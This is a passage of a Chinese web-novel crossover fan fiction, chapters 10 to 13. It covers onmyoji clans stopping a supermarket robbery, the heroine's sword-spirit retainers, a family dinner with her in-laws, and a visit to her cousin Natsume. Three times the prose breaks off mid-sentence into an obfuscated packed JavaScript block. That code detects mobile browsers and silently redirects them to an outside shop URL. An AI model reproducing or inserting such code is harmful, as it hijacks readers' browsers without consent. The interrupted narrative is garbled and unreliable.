只要不是运气特别糟糕,刚好遇到巡逻的教官临时改变主意更换路线又没有注意到这点被抓个正着。 不过虽然没有遇到上述可以说是最糟糕的情况,萩原研二和松田阵平也不觉得自己今天的运气可以算多好。 刚走进超市就遇到劫匪,还是一堆持枪劫匪,今天的霉运完全可以登上排行榜第二了吧。 这里稍微一提,霉运排行榜第一应该是之前鬼佬通知他们被罚去洗浴室那天。 要说唯一值得安慰的,也就只有他们这次出来穿的是便服,稍微没那么引人注意这点了吧。 萩原研二和松田阵平对视一眼,在敌多我少的情况下,这种时候也只能先按兵不动了,好在凭借超高的手速,在发现不对的几秒内他们就已经将报警信息发出去了。 这里离警视厅不算太远,警方出警应该要不了多久。 然而,他们刚像其他普通市民一样按照劫匪所说的蹲下,突然从后方闪过几道身影,动作迅速地就将这些劫匪摁倒了。 不仅这样,人质群中也有两个人被拉了出来,指挥的是一个圆框眼镜的女士,看起来有些上了年纪但穿着紫色的和服笑眯眯的样子有种笑面虎女强人的感觉。 “呀嘞呀嘞,混在人群中鬼鬼祟祟地是想做什么小动作吗?”她这么说着,后面两个穿着黑色和服的男人将这两人捆好扔到那边的劫匪堆去。 不管怎么说,劫匪能顺利解决就好。 如果不是在这群人中看到了熟人的话,萩原研二和松田阵平现在也应该准备走人了。 虽然劫匪已经顺利解决,但作为解决这些劫匪的人,起码也要等警察来了去做个笔录。 在确定这些劫匪都不足成事后,原本合作一起动手的人便一下分开了,或者可以说是泾渭分明。 其中一队领头的,正是前几天他们刚见过的名幸小姐。 这次她穿的也是一件和服,白色的里衬和深蓝色的和服外套,因为所处的角度问题,能看到和服外套袖子处有一个三横见梅样式的图腾。 跟在她身后的是萩原研二和松田阵平没见过的一个白色和服男人和灰色头发穿着神父装的男人,看站位是以名幸小姐为主。 与她相对的则是一个右眼用画着奇怪符号的布包着的黑色和服的男人,刚才他们看到的那个婆婆站在他后面半步左右的位置,再后面跟着几个同样穿着黑色和服的人。 如果不是这种架势,单看右眼被奇怪符纸蒙住的样子,萩原研二和松田阵平还说不定会认为这人是迟来的中二病。 因为是劫后余生,剩下的顾客很快都离开了,此时现场一片寂静。 这种时候萩原研二还有闲心在心里开了个小差: 和周末见到的完全不一样的感觉啊,这时候的名幸小姐虽然也是温温柔柔的样子,气势上确实完全不一样了。 怎么说……,有种新闻里会看到的那种大人物的感觉。 但因为诸伏景光没有提到过这方面的内容,因此萩原研二也只是内心感慨了一句没有多想。 而现在超市里的气氛也完全不像是他们两能插手些什么的。 气氛莫名有种迟滞的感觉。 还有名幸小姐身后那两人男人……,手上拿的那个是真刀吧,就这么拿着真的没有问题吗?白色的头发也很少见呢…… 然后低沉的男音骤然响起,是对面那个为首穿着黑色和服的人:“哦呀,真是好久不见,名幸桑,之前婚礼的时候因为临时有事提前走了,真是遗憾啊。” 名幸琉璃同样回以浅笑:“好久不见,没想到会在这里见到的场家的人。” 同为阴阳师家族中的名门,的场家的主要活动范围是在九州,花开院家和名幸家都以京都为主,只是随着她本人活动范围的变化,现在名幸家的势力也往东京转移了大半。 九州和东京着实有些距离,现在不是类似大型阴阳师集会活动的时间,又刚好在同一家超市遇到,着实是十分凑巧了。 “至于之前婚礼的事情,的场家不是已经送上贺礼了吗。” 名幸家虽然是底蕴深厚的老牌家族,行事低调却也不是一天两天的事了,反正只要不是请了其他除妖师家族唯独排除了的场家就好。 的场静司不甚在意,除了恰巧路过的的场家,除妖师圈内应该没几个家族知道这一代的名幸家家主结婚的消息,只是既然知道了,礼数也是绝对不能少的。 他只是觉得因为知晓的太晚,贺礼准备的并不充分,因此趁此时遇到再次做出了说明。 “说来刚巧,那时候东京这边正好有点事需要处理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013261|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没想到碰巧路过了名幸家主的婚礼会场,嗯……,因为是临时准备,贺礼不算贵重,还请见谅。” 如果不是那时候的场家接了委托刚好路过,他说不定也只当是个传闻。 至于不算贵重的贺礼,虽然是临时准备的,代表的场家是有些中规中矩,但对于普通人来讲绝对可以算是重礼了。 “的场家虽然比不上花开院家和名幸家同为京都的家族而关系亲近,但就算谈不上守望相助,在某些时候也至少是利益一致的。” 同为京都的老牌除妖师家族,名幸家和花开院家交情深厚是理所当然的,但毕竟同样是拥有深厚历史底蕴的家族,要说的场家和名幸家毫无交集是完全不可能的。 的场静司这么说算是在拉进关系,比起传统的除妖师家族,名幸家更侧重于妖怪研究也因此更擅长诅咒和解咒,即使每一代都只有一个血脉,单凭那些千年来流传下来的各种研究资料就够撑起世家的门面。 更别提那些追随于名幸家门下的其他中小型除妖师家族了。 何况名幸家子嗣单薄是受到妖怪的诅咒,如今羽衣狐事件已了,名幸家实力更上一层不过是时间问题,拉拢交好于这样的家族对于的场家来讲完全是百利无一害的。 这也算是两边相遇时的固定保留项目了。 “说得也是……” 而名幸琉璃语气看似感慨也完全没答应下来什么,比起的场家,花开院家和名幸家的理念明显也要更切合一些。 至于除妖,一旦遇到了威胁人类的事情,不管之前家族或是个人的关系如何,身为阴阳师,都会义不容辞地接过责任,共同抵抗外敌,就像几个月前羽衣狐的事情。 只是因为主战场在京都,所以阴阳师这边战斗的主力是花开院家和名幸家而已。 而其他阴阳师为了保住后方,也尽了最大的努力。 超市里又陷入了短暂的沉默,恰在此时门口传来令名幸琉璃熟悉的声音。 “萩原和松田之前说是来这家超市采买的吧?” “好像是的。” 不仅是名幸琉璃,萩原研二和松田阵平也听出了这两道声音是来自谁的。 虽然开始两人留下是有抱着看到熟人,加上有什么不对帮护一二的想法,但后面气氛越来越不对,也难以找到打断的时机。 诸伏景光和降谷零的插入也打断了要接下去的对话,的场静司留下一句:“那么,下次有机会再见吧,之后,也请多关照。”便带着一群人离去了。 随着的场一门的人推开门走出去,诸伏景光和和降谷零也从门口走了进来,两方擦肩而过,因为的场一门穿着统一的黑色和服,诸伏景光和降谷零在进去之前还转头看了一眼。 也是在他们进来之前,名幸琉璃先转头看向刚才就一直站在那边的萩原研二和松田阵平展露出笑容:“阿拉,真是好久不见,萩原君和松田君。” 那一瞬间,萩原研二和松田阵平再次不约而同地感慨:变脸的速度好快! 11.第 11 章 而刚推开门的诸伏景光和降谷零也愣住了: 超市门口的位置正躺着好几个蒙面人,旁边应该是被收缴出来的木仓堆在一起,本应该在收银台的店员此时也不知道跑到哪里去了。 不,仔细看的话,会发现在那堆蒙面歹徒的旁边正同样昏迷着一个穿着超市员工服的男人,应该就是原本的收银员了。 意料之外的见面让名幸琉璃惊喜地喊着‘hiro!’扑到诸伏景光的怀里,同时探出头对后面的降谷零也打了个招呼,“降谷也是,好久不见。” 诸伏景光对于能见到妻子也很惊喜,不过他显然更担心名幸琉璃的安全问题。 虽然这些歹徒都已经被打晕并绑在地上,但明显刚才是发生了入室抢劫事件,哪怕知道妻子自小练习剑道,诸伏景光也很难完全放下心来。 更别提那些犯人人又多,还携带了木仓支。 于是他松开名幸琉璃又仔细检查了一下,见没看到什么伤口才松了口气。 知道诸伏景光是在担心,名幸琉璃也没反抗,由着他看过一圈才道:“好啦,只是一些花架子而已,hiro也太不相信我了。” 萩原研二和松田阵平在心里吐槽道:就算是花架子,这么多人,又带着木仓……,嘛,虽然他们刚才也看到了解决的过程。 名幸小姐,还有刚才那些人,看那个架势好像有点古武的影子。 确认过没事之后,诸伏景光紧跟着注意到了后面两个将注意力放到这边的男人,见此,名幸琉璃介绍道: “对了,hiro你还没见过,这是我之前和你说过的鹤丸和长谷部,是名幸家的家臣,因为最近在盘点父亲那边留下来的财产……” 家臣自然也是遗产的一部分,说是在这时候认识鹤丸和长谷部也完全没问题,不知道内情的几人也只以为是负责处理遗产的人员。 不过……,没有想到现在居然还有家臣这种存在吗?就连诸伏景光和降谷零也是第一次知道,但想到之前去过的在京都的那个名幸家老宅,又觉得好像也不是很意外。 只是还真是相当古老的称呼啊,上次听到‘家臣’这个名称,还是在中学时候的历史书上。 随着名幸琉璃的话落下,鹤丸国永和压切长谷部也跟着道: “景光大人,久仰,我是鹤丸国永。” “久仰,叫我长谷部就可以了,无论火烧寺庙还是手刃家臣,只要为了阿路基都可以做到!” 比起鹤丸的自我介绍,长谷部这段认真而又具有犯罪感的话明显更吸引几位警校生的注意。 尤其是虽然没有特意表现出来,但属于刀剑的锐利感对于警校生们来讲还是十分明显的。 相较于这点,和名刀相同的名字反倒是被放到了另一边。 名字的话,也许那些大家族,尤其是有家臣的古老家族,就喜欢给自己的家臣取一些代号。 至于刀,不久前他们才刚在博物馆看到了展出的‘鹤丸国永’和‘压切长谷部’,那两把被随身带着的刀更像是仿品,为了与持有者的名字相称。 名幸琉璃也意识到了这点,她一边手肘捅了捅压切长谷部,一边找补道:“长谷部是在开玩笑啦。” 意识到自己的失言,至少在现在这个时代是不能随便杀人的,压切长谷部赶忙跟着有些着急道:“无论是阿路基的哪门作业,我长谷部都会完美完成!” 不过这也不是随便说的,一开始没能跟上现代课程而得到正确率只有百分之七八十的作业长谷部已经足够懊悔了。 那之后便借阅了各方面图书,比起之前不想做作业就在网上找答案的名幸琉璃,现在的长谷部已经能够完美完成名幸琉璃的各项作业了。 提到作业,前几天那次放假名幸琉璃还以为那份快要截止的作业要自己完成,点开后才发现原来长谷部在放假前就已经替她完成了。 所以说不愧是长谷部啊! 因为事件和感情都是真实的,长谷部后面那句话倒是让几位预备警官放松了不少,而且对方只听名幸桑的,只要名幸桑不让他做那些违法事件就完全没问题了。 听到‘阿路基’和‘家臣’词语好像穿越进了什么历史剧中,莫名有点拘谨起来的感觉,也因为这句话消弭了不少。 话虽如此,诸伏景光还是有些无奈道:“一些不那么必要的课程就算了,专业相关的课还是更认真一点比较好吧。” “嗨嗨——”名幸琉璃拉长语气答应道,“而且期末的时候长谷部会帮我画重点的,对吧?” 收到名幸琉璃询问的眼神,压切长谷部当即表忠心道:“绝对不会辜负您的期待的!” 这下几位预备警官们对于长谷部的警惕是基本打消了,尤其是……,听到这里的时候有种妈妈桑的感觉,还是那种超级溺爱孩子的妈妈桑。 这就是家臣吗,真是令人敬佩。 此时负责案件的警察终于姗姗来迟,作为这些歹徒的处理人,名幸琉璃几人自然是要去做笔录。 至于同样动手的的场静司,虽然提前离去,但好在后面也派人给警视厅那边传了消息。 阴阳师在这个国家毕竟是有很长的历史,有些涉及妖怪的案件警方处理不了上面也是要来找阴阳师的,因此如果不想做笔录,之后派人去打个招呼也不是什么大问题。 如果不是在这里碰到了hiro他们,担心后面不好解释,名幸琉璃也想像的场静司一样干脆直接离开了。 而因为走得不够及时,加上过来的警察因为他们几个这个月的大出风头,刚好知道他们几个都是警校生。加上几个警校生不知道的是,这位警官还刚好和鬼冢教官是老朋友了。 于是,几个警校生又偷溜出来的事情也被他们的教官鬼冢知道了,还因此被多罚了几天的浴室打扫。 当然,此为后话。 现在的情况是,在做完笔录之后,名幸琉璃和诸伏景光这对小情侣正挽着手走在前面。 似乎是想到什么,名幸琉璃后退几步,在诸伏景光面前转了两下:“对了,hiro还没见过吧,虽然都是和服,但是和烟花祭的时候感觉完全不同吧,是新皮肤哦~” 诸伏景光也很捧场地肯定:“很端庄的感觉,这个颜色很衬你的肤色。” 这对小情侣后面还坠着一班人。 萩原研二对同样直面了名幸琉璃和的场静司交涉场面的松田阵平感慨道:“就算我自称对女性很了解,但名幸桑私底下和在小诸伏面前也差别太大了吧。” 其实名幸桑本身是偏温婉类型的长相,和刚刚表现出的气势也挺贴合,有种笑面虎的感觉,如果前提不是见过名幸桑和小诸伏的相处…… 和小诸伏相处的时候,名幸桑身上那些锋芒好像全部都被收敛,柔和的五官加上京都腔自带的糯感,灿烂的笑容甚至还带出几分娇俏元气之感。 而且凭借他优越的观察力,萩原研二可以肯定名幸桑在小诸伏面前完全就是自然地流露,绝对不存在因为心上人喜欢别的风格而让自己戴上面具的状况。 爱情还真是神奇啊。 虽然能和很多女性打好关系但其实没有谈过恋爱的萩原研二再次如是感慨。 “所以说,女人还真是可怕啊。”松田阵平双手枕在后脑勺漫不经心道。 降谷·基本上每次见到名幸琉璃都是诸伏景光也在的时候·最开始被总是被当成小情侣约会工具人·以为名幸琉璃从来都是这种风格的女生·零没有明白他们的意思,因此没有接话。 而在感慨过后,见前面那对小情侣完全忽视了他们存在的样子,交际大人萩原研二开始向旁边名幸琉璃的两位家臣搭话。 由于压切长谷部看上去不是很好接近,有种不会搭理名幸桑以外的人的感觉,萩原研二自然是选择从鹤丸国永这边开始接触。 “内,鹤丸桑,你们和名幸桑今天在这边是有什么事要处理吗?” 毕竟今天也不是警校放假的日子,也就是说应该不是特意过来找小诸伏的,至于那边长谷部君手上提的购物袋,完全就是顺路而已吧。 “哼,自然是为了全力辅佐阿路基的工作。”压切长谷部抢答道。 萩原研二内心汗颜,长谷部君还真是毫不意外地很板正啊。 不过,工作吗?他记得名幸桑现在还是大学生吧。 看出他的疑惑,鹤丸国永笑着解释道:“是名幸家祖辈的事业,真好啊,虽然山泽家主走得比较早,但小家主现在也成长为可以独挡一面的大孩子了。” 听起来很合理,不过这个语气…… 降谷零:“鹤丸桑说这话的时候有种很老成的感觉呢。” “是吗,有种很稳重的感觉吧。”鹤丸国永眼睛一亮,给了他一个有品位的眼神。 啊,原来是特意用这种语气的吗,鹤丸桑看起来也就和他们差不多大吧。 在几人这样想的时候,鹤丸国永又做思索状继续道:“不过算起来的话,我和长谷部都可以称作是你们的长辈,毕竟也侍奉名幸家几代人了。”或者其实是快二十代更准确,只是中间断断续续睡了好几百年。 “诶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016161|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!”x3 这句被平静抛出来的话让三人都露出了豆豆眼,更何况看那边一看就不怎么会说谎的长谷部君一脸平静地样子就知道这是真的。 几代,用这个说法的话,就是说至少是两代以上,降谷零知道的更多一点,知道名幸琉璃的祖父母和父母在她七八岁的时候都已经不在了,要不然也不会被其他亲戚收养。 不过其实仔细一想,像这种家臣都是家族世代侍奉主家,所以鹤丸桑和长谷部桑从小就跟在前几位名幸家长辈身边,再加上名幸桑的长辈去世的比较早的话…… 这也不是不可能吧? 但即使是这样一算,他们面前看上去才二十多岁的鹤丸君和长谷部君也至少快四十岁了,就算是娃娃脸这也太不显老了吧。 “开玩笑的吧!”因此即使知道这应该是真的他们还是发出了这样的感慨。 好在鹤丸国永真的很擅长聊天性格也一点长辈架子都没有,三人的那点拘谨和不自在感也很快就消失了。 至于为什么这里一直是他们三人和鹤丸君,因为长谷部君一直很严肃,即使是萩原研二认真地试图搭话对方也不为所动,一心关注着走在前面的两人。 而在几人看不到的地方,一开始没有显出形来的栗姬和五虎退正在另一边,和压切长谷部以及鹤丸国永相对于名幸琉璃呈对称保护的队形。 索性他们两也都不是爱说话的类型,不加人聊天反倒自在。 还有就是前面从一开始就一直处于如胶似漆状态的小夫妻。 真是的,明明因为在外面其实没有太过分的肢体接触,但那种属于恋爱的粉色氛围好像马上就要实质化了一样。 就好像真的在空中看到了不断冒出的粉色气泡了带着花瓣的背景。 尤其是因为警视厅离警校的距离其实也不算太远,在聊了这么一会后已经走到了警校门口,正在分别的小夫妻显得更加黏糊,气泡和花瓣密度也更高了。 看正在和妻子道别的诸伏景光回来,萩原研二还打趣道:“诶?!还以为能看到临别吻呢。” 诸伏景光无奈道:“被你们用这样的眼神看着,最多也就只能做到拥抱吧。” 降谷零笑道:“果咩~”语气里满是调侃。 松田阵平想说‘景老板原来是能感觉到他们的视线的吗’,危险的直觉使他咽下了到嘴边的话。 说着,没有在周围看到巡逻教官出没,四人一个接一个地翻过了围墙。 这面墙他们翻的次数也多了,在巡查的教官过来前就都已经熟练地进入到了宿舍楼。 “说起来,没想到名幸桑家里居然这么厉害,连家臣这种存在都有。”萩原研二一边说着,一边拿出刚才鹤丸送的临别礼物。 “虽然没听名幸具体提到过,不过名幸她高中的时候是在京都老家上的学,放长假的时候也有经常邀请我和hiro去她家住过,确实非常大……”降谷零回忆道。 “嗯,还是那种古制的,第一次去的时候如果没有人带着,一定会迷路的吧。”诸伏景光补充道。 不过有这么长的家族历史的话,也就能解释为什么明明感觉名幸家在民俗圈里好像不是很出名,却人脉那么丰富了。 “对了,鹤丸桑送的这个口香糖还不错,你们要吃吗?” 因为萩原研二的话过于自然,几人没有立即反应过来,降谷零先伸手道:“是吗,那我来一颗好了。” 然后在结果口香糖盒子伸手拿的那一刻顿住了:“……蜘蛛,不,是玩具。” 虽然不怕蜘蛛,但因为过于突然,加上这个蜘蛛玩具做得十分逼真,降谷零还是被吓了一下。 随后继续倾倒,果然,虽然外表是口香糖盒子,但倒出来的全都是诸如蜘蛛蜈蚣毛毛虫之类的整蛊道具。 “完全就是彻底的整蛊道具啊。”松田阵平对于这个口香糖整蛊道具的结构有点兴趣,在降谷零倒完之后干脆拿过来拆开看了看,“嘛,也没有很复杂啊。” 诸伏景光:“对了,萩原刚才说这是鹤丸桑给的吧。” “是啊,因为刚才聊得很投缘所以给了临别礼物,虽然鹤丸桑比我们大不少,但果然是很有趣的人啊。” 萩原研二因此打开了一扇有趣的大门。 而此时已经到家的鹤丸国永打了个喷嚏:“诶,难道是萩原君提到我了吗,不知道他喜不喜欢仁王君推荐的那个有意思的小玩意。” “对了,仁王君提到的那家整蛊道具店今晚就要上新了,不知道这次会不会有什么别的有趣的东西。” 12.第 12 章 “总算解决了呢。”从出山的小道走下来,名幸琉璃感慨道。 因为下面家族的一位阴阳师的疏忽令一只作祟的大妖怪跑走了,根据追踪结果就在这座山上。 虽然是大妖怪,但之前那几个菜鸟阴阳师好歹也令它受了点伤,名幸琉璃的除妖过程还算顺利。 比起刚来东京的时候因为并非本地的阴阳师所以还不太顺遂,在待了两年之后名幸琉璃接到的委托也越来越多,好在大多都是她能轻松应付得来的。 从这边山上下去正好就是城镇,名幸琉璃加快步伐,却在突然间被熟悉的声音叫住:“啊,今天真是幸运,居然在这里看到了琉璃酱。” 她闻声转身,果然看到一个熟悉的妇人,对方头发挽着,加上提着的购物篮,看上去很是温婉:“妈妈。” 诸伏纱希也没有想到会在这里见到名幸琉璃,本来只是因为听说这附近的超市在打折,才绕了一段路,但这并不妨碍她热情地对名幸琉璃发出邀请: “啊拉,刚好快要吃饭了,琉璃酱也一起吧,高明在长野那边,景光现在也不在,我和爸爸有时候也很寂寞呢。” 诸伏纱希的热情让名幸琉璃完全招架不住,索性她本身也没太多拒绝的意图,便也跟着一起,同时解释道: “老师布置的作业有些没有头绪,索性到山上看看,想着也许会有有趣的发现,结果果然是我想得太美好了。” “真是可惜啊,不过,单纯到山上看看风景放松一下也很不错啊,作业什么的,说不定等一等就会有灵感了。” 诸伏纱希也知道名幸琉璃现在是地质专业的学生,这个专业对女孩子来讲确实比较辛苦,但既然孩子感兴趣那就没办法了。 “我回来了!”很快抵达家门,诸伏纱希对着里面喊道,得到回应后又拿了盘点心出来。 “刚好买到了不错的食材,琉璃酱先吃点垫垫肚子,饭很快就好了。” “不,我也来帮忙吧。” 虽然这么说,名幸琉璃做的饭也只能说能吃而已。 说着来帮忙,有厨艺精湛的诸伏爸爸和诸伏妈妈在,最后其实也只是帮着洗了菜。 这点不管到了那里好像都一样呢,名幸·专业打下手·琉璃。 “我开动了。”x3 诸伏家在没有什么吃饭的时候不能讲话的餐桌礼仪要求,趁着吃饭,诸伏爸爸也关心地问道:“最近生活怎么样?” “嗯,一切都好,hiro那边也是,在警校交到了不错的朋友。” 诸伏爸爸和诸伏妈妈都是小学老师,性格温柔亲切,景光还有一个哥哥。 虽然诸伏家搬到了东京,但可能是因为放不下在长野的小伙伴,毕业后留在了长野当警察,只有在假期的时候才会回来。 听到名幸琉璃的话,诸伏妈妈一只手托着脸颊露出欣慰的笑容: “那真是太好了,不过一转眼景光也要出去工作了,一想到现在大家都在一起,琉璃和景光也走到这一步了,就觉得还真是幸福啊。” 诸伏妈妈不由得回忆起两人的小时候。 当时他们还住在长野的乡下,后山有座大宅子,那家人只有在假期的时候偶尔才会来住,琉璃酱就是那家的孩子。 景光和山村家的那孩子经常到后山去玩,三个孩子由此认识并成为很好的伙伴。 后来便是外守一那件事。 说起来,如果不是琉璃酱刚好来找景光玩,又恰好琉璃酱的爸爸名幸先生也一起过来了,现在会是什么样还不好说。 即使如此景光也因为受到惊吓患上了失语症,为了更好的医疗资源,加上不让景光回忆起那时的场面继续受到影响,他们家便举家搬到了东京。 那时几个孩子都还小,通讯也不发达,本以为两个孩子之后也许也产生不了多少交集,即使有也是很久以后了。 但恰好就是这么多年一直保持有书信联系,她一直觉得当时景光能那么快走出阴影也有琉璃酱一直陪伴的原因在。 尤其是听说名幸太太和名幸先生相继去世的消息后,又对这孩子多了几分怜惜,时不时便寄一些东西过去。 好在收养她的那户人家也都是不错的人。 之前她还有想过琉璃要是他们家女儿就好了,这么可爱的孩子。 察觉到两个孩子之间的苗头后还和景光聊了聊,偶尔爸爸还会帮忙支点招,才好不容易在几个月前收到景光和琉璃酱的好消息,说要结婚了。 午饭自然是很愉快,诸伏爸爸和诸伏妈妈都是温柔健谈的长辈。 在吃过饭后,诸伏爸爸突然间想起了什么道:“对了,之前读大学在外面租房就算了,既然现在已经成家了,有些东西琉璃你也顺便带回去吧。” 诸伏爸爸是小学老师,看上去也很有小学老师温和儒雅的感觉,可说这话时候的笑容却好像更多了点意思。 诸伏妈妈听到他这话也想起来了:“是说景光小时候的那些东西吧,对了,我记得还有相册,里面应该还有你们和小操小时候的合影。” 这显然让名幸琉璃也来了兴致,hiro小时候的样子她当然知道,但看照片和自己回忆是完全不一样的感觉,更别提他们其中还有不少分隔两地的时光。 而且,小孩子的照片都是大人拍的,不用想都知道一定有很多黑历史。 啊,这么说的话,hiro腹黑的特性果然是从爸爸那里遗传下来的呢…… 当然,名幸琉璃在行动上也完全没有遮掩自己的迫不及待:“是在hiro的房间里吗,之前还没听他提到过,真是期待啊!” 诸伏妈妈道:“是啊,我记得上次打扫房间的时候有看到是放在柜子旁边的箱子里。” 诸伏景光的房间是浅蓝色系的,东西摆放得很齐整,名幸琉璃来过不少次,一进房间就跟着诸伏妈妈直奔主题,将柜子旁边那个看起来有点年头的箱子打开了。 除了被册立在箱子边缘的两大本相册集,里面还有不少孩子的玩具,其中最大的是一个捕虫网,名幸琉璃记得第一次见到hiro的时候他就带着一个捕虫网,和小操两个人在找独角仙。 除此之外还有玻璃珠和铁皮青蛙等那个时候比较流行的玩具。 而和这些玩具泾渭分明的是同样放在箱子里面的奖状奖杯和奖牌,虽然堆在一起,但也能看得出摆出来是极有分量的。 诸伏妈妈充满回忆地感慨:“景光刚得到这些的时候还会特意摆出来,很高兴地拿给我们和高明看,不过后面除了比较重大的奖项就没听说过了。” 名幸琉璃表示理解,奖状什么的得的多了就有点麻木了。 不过她记得以前hiro每次得了什么奖,如果条件允许的话,加上降谷,他们三个都会去外面吃上一顿小小庆祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027712|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下。 “好了,接下来就来看相册吧,我记得大学以前的照片这边应该是都有的。” 诸伏妈妈将相册集摊开,里面的照片是按照时间顺序来排的,因此第一张就是诸伏妈妈抱着刚出生不久的诸伏景光的照片。 说实话,刚出生的婴儿其实差不多都长那个样子,照片里的hiro还是闭着眼睛,连那双名幸琉璃最喜欢的蓝色眼睛都没露出来。 但因为知道是hiro的照片,名幸琉璃便越看越觉得可爱。 往后翻是四个月大的时候,一岁两岁再往上的时候,有和家人的合照也有单人的照片,这个时期的照片大多是睡颜笑容爬行和不太稳当的行走的照片。 诸伏妈妈没有给小孩穿女装的恶趣味,但里面也不乏一些跌倒和流口水这样对hiro来讲应该算是黑历史的照片,虽然名幸琉璃觉得都很可爱就是了。 “卡哇伊内~”她感慨道,同时发现了另一点,“说起来,原来高明哥也不是从小就这么严肃啊。” 虽然这册相册的主角是hiro,但也能看到不少兄弟互动的画面,其中有一张就是高明哥在戳躺在摇篮里的hiro的脸颊。 “是啊,高明这孩子也不知道是像谁,越长大越严肃了……”诸伏妈妈跟着叹了口气。 又往后翻了几页,名幸琉璃很快就看到了她和hiro还有小操三个人的照片,他们三个蹲在一起看独角仙,突然注意到有人拍照地抬起头。 “都不记得这张是什么时候拍的了。”看照片的时候总是容易感慨时间过得很快,名幸琉璃显然也是如此,“而且,总觉得印象里大家的脸好像没有这么圆,也没有这么幼。” “啊,这就是小孩子视角的不同吧,也有可能是记忆的自动美化也说不定。” “我的长相应该是遗传自奶奶比较多吧,还有头发也是,虽然外婆也是茶色头发,不过我是和奶奶一样微卷的,就是娃娃脸这点有点麻烦,以前上中学的时候还被人当成是小学生。” 名幸琉璃的语气有些无奈,好在后来个子长高了不少,加上她的整体长相气质是比较偏温婉的,所以才慢慢摆脱了这个烦恼。 果然还是小女孩的烦恼嘛,这么想着,诸伏妈妈突然想到另一点:“对了,没有在里面看到你们小时候信呢,也对,那种更重要的回忆应该已经被带过去,好好保存了吧。” “嗯,有专门的小木箱装着。”不只是以前的,因为信对他们有重要的意义,所以即使现在不在分隔两地也依旧有定期写信的习惯。 搬到新家之后还换了一个更大一点的小木箱,现在就放在他们卧室的衣柜下面。 诸伏妈妈笑道:“这样就好,那些信对于你们来讲应该算是定情信物一样的存在吧。” 名幸琉璃在和诸伏景光一起相处的时候说话还挺大胆的,这时候听到长辈的打趣却有些不好意思了:“嗯……” 好在诸伏妈妈见她害羞了也没有继续这个话题:“对了,前两天高明回来的时候带了一些泽屋的果酱,琉璃你一会也拿一些回去吧。” 泽屋的果酱更是长野有名的特产,因为诸伏家老家在长野,假期回来时高明哥经常会带一些老家那边的东西回来。 这时诸伏妈妈和诸伏爸爸都会让名幸琉璃和诸伏景光带一些走,名幸琉璃也习惯了。 “好,我一会一起带走。” 13.第 13 章 “夏目!夏目——” 听到呼唤,夏目贵志转头,田沼是他不久前认识的朋友,虽然不能看到妖怪,却能感觉到他们的存在。 “怎么了,这两天感觉有些心不在焉的,是遇到什么事情了吗?关于那方面吗?”提到最后半句话的时候,田沼的声音不自觉地压低了一些。 夏目贵志摇了摇头,犹豫了一下道:“其实,我姐姐说这两天要过来看看。” “夏目的姐姐?还是第一次听到夏目你还有个姐姐,是关系不好吗?”田沼有些不解。 夏目这学期刚转学过来,只听说双亲都已经去世了,即使是比较亲近的朋友对于他的家庭情况也不是很了解。 “不,其实……”夏目贵志正要解释就看到不远处正踮着脚朝他招手的名幸琉璃。 “姐姐?!”虽然知道姐姐这两天要过来,但夏目贵志没想到这么快。 东京和九州这边距离挺远,但不管是飞机还是火车他都没有收到接人的消息。 像是知道他在想些什么,名幸琉璃笑吟吟地答道:“你等会还有课吧,而且我对玲子外婆曾经生活过的地方也挺好奇的,刚好自己先逛一逛。” 名幸琉璃走过来前夏目贵志就注意到,跟在姐姐身边的妖怪除了之前见到的栗姬和退又多了两个。 他有些想询问,不过现在也不太合适,因此只是点了点头打了招呼。 恰巧此时预备铃响了起来,名幸琉璃便没等他回答,隔着学校边的围栏对夏目贵志直接道:“那么等放学的时候我再过来好了。” 说着便自顾自地带着几个式神走了。 因为要去上课,田沼再去问夏目贵志这个问题的时候已经下午第一节课下课了。 “夏目和姐姐看起来关系很好的样子?”虽然田沼是家里的独子,但是姐弟间关系好不好他还是能看得出来的。 但这样的话之前为什么会因为姐姐这两天要过来而出现这种表情呢?田沼要不解。 “嗯,琉璃姐其实是我姨母家的孩子,比我大五岁,现在在东京上大学,她前段时间写信说想让我搬过去和她一起住。” 夏目现在被塔子阿姨他们收养而没有和关系更近的姨母家收养,这就说明很可能姨父母也已经不在了。 夏目今年十五岁,大五岁就是二十岁,成年后想要带着年纪还小的弟弟一起生活也是正常,这么说的话夏目的姐姐这次很可能是来接他过去东京的。 “是因为不想增加姐姐的负担吗?” 经过这段时间的相处,田沼要对夏目的性格也算了解,知道他总是不愿意给人添麻烦,即使这个人是亲姐姐。 “姨父姨母去世得比较早,姐姐小时候在我们家待过一段时间,后面才被她爷爷那边的亲戚收养,不久前琉璃姐姐才新婚,我过去的话说不定会影响到他们……, 更何况我在这边已经交到了新的朋友,塔子阿姨和滋伯父还有大家也都是很好的人。” 